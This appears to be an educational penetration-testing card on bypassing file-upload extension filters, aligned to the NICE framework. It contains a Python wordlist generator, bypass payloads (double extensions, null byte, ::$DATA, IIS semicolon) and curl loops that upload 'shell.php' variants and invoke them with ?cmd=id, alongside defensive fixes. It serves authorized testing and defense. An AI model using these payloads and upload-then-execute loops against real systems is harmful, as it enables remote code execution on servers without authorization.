Extension bypass
Theory
Why This Matters
Extension-based filtering is the most common form of upload validation found in production applications, and the most consistently bypassed. CVE-2018-9206 (jQuery File Upload plugin, used by thousands of projects) allowed arbitrary file upload because the plugin relied solely on extension checks that were bypassable. WordPress has shipped multiple security releases addressing extension filter bypasses in its media library. The core problem is that extension validation and server-side execution are controlled by different software components that do not share the same parsing logic: the application checks what the developer believes the extension to be, while the web server or interpreter decides what to execute based on its own configuration rules.
Core Concept
A file extension is a suffix appended to a filename, conventionally used to indicate file type. Extension-based upload filters operate on this suffix. Two fundamentally different approaches exist:
A denylist defines extensions that are rejected (e.g., .php, .jsp, .aspx). The security problem is that lists are never complete. PHP can be executed via .php5, .phtml, .phar, .php3, .php4, .php7, .shtml (with SSI), and platform-specific variants. Windows IIS adds .asp, .asa, .cer, .cdx. An attacker who knows one unlisted executable extension bypasses the entire control.
An allowlist defines extensions that are accepted (e.g., only .jpg, .png, .gif). This is significantly stronger but still fails when: (a) the web server is configured to execute files regardless of extension (e.g., AddHandler application/x-httpd-php .jpg), or (b) the application uses the leftmost extension to determine type rather than the rightmost, allowing file.php.jpg to be stored and served as PHP.
Extension confusion bypasses exploit inconsistencies between what the application checks and what the server executes:
- Double extension:
file.php.jpg— if the web server strips the last extension and executes the first, a PHP allowlist for.jpgis bypassed. - Case variation:
file.pHP,file.PhP— case-insensitive OS (Windows) or case-insensitive filter but case-preserving storage. - Null byte injection:
file.php%00.jpg— in PHP < 5.3.4,move_uploaded_fileused C string functions that terminated at null; the OS would storefile.php. - Windows NTFS stream:
file.php::$DATA— the::$DATAalternate data stream suffix is stripped by the OS, resulting in storage asfile.php. - Apache misconfiguration:
AddHandler application/x-httpd-php .php .phtml—.phtmlis not in most denylists. - IIS parsing quirk (historical):
file.asp;.jpg— IIS 6 treated the semicolon as a path separator, executingfile.asp.
Technical Deep-Dive
# Extension bypass wordlist generator for Burp Intruder
# Covers PHP, ASP, JSP, and server-specific variants
php_exts = [
".php", ".php3", ".php4", ".php5", ".php7", ".phtml",
".phar", ".phps", ".pHp", ".PHP", ".Php", ".phP",
".php.jpg", ".php%00.jpg", ".php::$DATA",
]
asp_exts = [
".asp", ".aspx", ".asa", ".cer", ".cdx",
".asp;.jpg", ".aspx;.jpg",
]
jsp_exts = [
".jsp", ".jspx", ".jspf", ".jspa",
".jsp.jpg",
]
all_exts = php_exts + asp_exts + jsp_exts
# Write to file for Burp Intruder payload list
with open("extension_bypass.txt", "w") as f:
for ext in all_exts:
f.write(ext + "
")
print(f"Generated {len(all_exts)} extension variants")
# Burp Intruder automation: mark filename extension as injection point
# Original request in Repeater:
# filename="shell.§php§"
# Payload set: extension_bypass.txt
# Grep match: "success" OR "uploaded" OR "200 OK"
# Manual curl loop for quick testing
TARGET="https://app.example.com/upload"
SESSION="your-session-cookie"
for EXT in php php5 phtml phar pHP PHP; do
RESP=$(curl -s -X POST "$TARGET"
-b "session=$SESSION"
-F "[email protected];filename=shell.$EXT;type=image/jpeg")
echo "$EXT -> $RESP" | grep -i "success|upload|error"
done
# After upload: attempt execution
for EXT in php php5 phtml phar; do
curl -s "https://app.example.com/uploads/shell.$EXT?cmd=id" |
grep -i "uid="
done
# Example Apache misconfiguration that makes .jpg executable as PHP
# In /etc/apache2/mods-enabled/php.conf or .htaccess:
AddHandler application/x-httpd-php .php .phtml .jpg
# Detection: request a .jpg file containing PHP; observe if it executes
# Fix: use FilesMatch directive instead of AddHandler
<FilesMatch ".php$">
SetHandler application/x-httpd-php
</FilesMatch>
Security Assessment Methodology
- Determine the filter type — Upload a
.phpfile. If rejected, determine from the error message whether a denylist ("PHP files not allowed") or allowlist ("only JPEG/PNG accepted") is in use. This shapes the bypass strategy. - For denylists — enumerate unlisted executable extensions — Use Burp Intruder with the extension bypass wordlist. Identify which variants are accepted.
- For allowlists — test double extension and handler misconfigurations — Upload
shell.php.jpg. If accepted, request the stored file and observe if PHP executes. Check forAddHandlerdirectives via.htaccessupload if that endpoint exists. - Test null byte injection — In Burp Repeater, set the filename to
shell.phpfollowed by a literal null byte (x00) followed by.jpg. Observe if the server storesshell.php. - Test Windows-specific variants — On IIS targets, try
shell.php::$DATAandshell.asp;.jpg. Confirm OS by examiningServer:response headers. - Confirm the execution path — After any bypass succeeds, request the uploaded file URL with a benign command parameter (
?cmd=id) to confirm code execution. - Test case sensitivity — Try
shell.PHP,shell.pHpon case-insensitive targets (Windows, some Linux FS configs).
Defensive Countermeasure — Use an allowlist of safe extensions (e.g.,
jpg,png,gif,AddHandlerand useFilesMatchwith exact anchoring in Apache. Setupload_tmp_dirpermissions to prevent execution.
Common Assessment Errors
- Only testing
.phpand stopping — A thorough assessment requires the full extension wordlist. Many filters block the obvious variants and miss.phtmlor.phar. - Failing to test execution after upload success — An accepted upload is meaningless if the file cannot be executed. Always request the stored URL with a test command.
- Ignoring the web server configuration as a separate layer — The application filter and the server handler are independent. A file blocked by the filter may be accepted via a misconfigured handler, and vice versa.
- Assuming Linux case-sensitivity — Test environments are often Linux; production may be Windows IIS. Case bypass variants are Windows-specific and must be tested on the actual target OS.
- Missing
.htaccessupload as a separate attack — If the server processes.htaccessfiles from the upload directory, uploading a custom.htaccesscan define new handlers, making any extension executable. - Not checking NTFS alternate data stream behavior —
file.php::$DATAis a Windows-only bypass. If the target is IIS on Windows, this variant must be in the test set.
NICE Framework Alignment
| Code | Knowledge/Skill/Task Statement | How This Card Develops It |
|---|---|---|
| K0009 | Knowledge of application vulnerabilities | Details the denylist vs allowlist distinction and why each fails differently |
| K0070 | Knowledge of system and application security threats and vulnerabilities | Maps extension bypass variants to specific server/OS combinations |
| S0001 | Skill in conducting vulnerability scans and recognizing vulnerabilities in security systems | Trains use of Burp Intruder with extension wordlists |
| S0044 | Skill in mimicking threat behaviors to test defenses | Builds adversarial enumeration skill for extension filter evasion |
| T0028 | Conduct and support authorized penetration testing on enterprise networks | Provides tool-explicit, stepwise methodology for extension bypass assessment |
| T0591 | Perform penetration testing as required for new or updated applications | Frames extension testing as a mandatory upload assessment component |
Further Reading
- OWASP File Upload Cheat Sheet — OWASP Foundation
- HackTricks: File Upload — Carlos Polop (book.hacktricks.xyz, offline reference)
- "Unrestricted File Upload" CWE-434 — MITRE Common Weakness Enumeration
Challenge Lab
Reinforce your learning with a hands-on generated challenge based on this card's competency.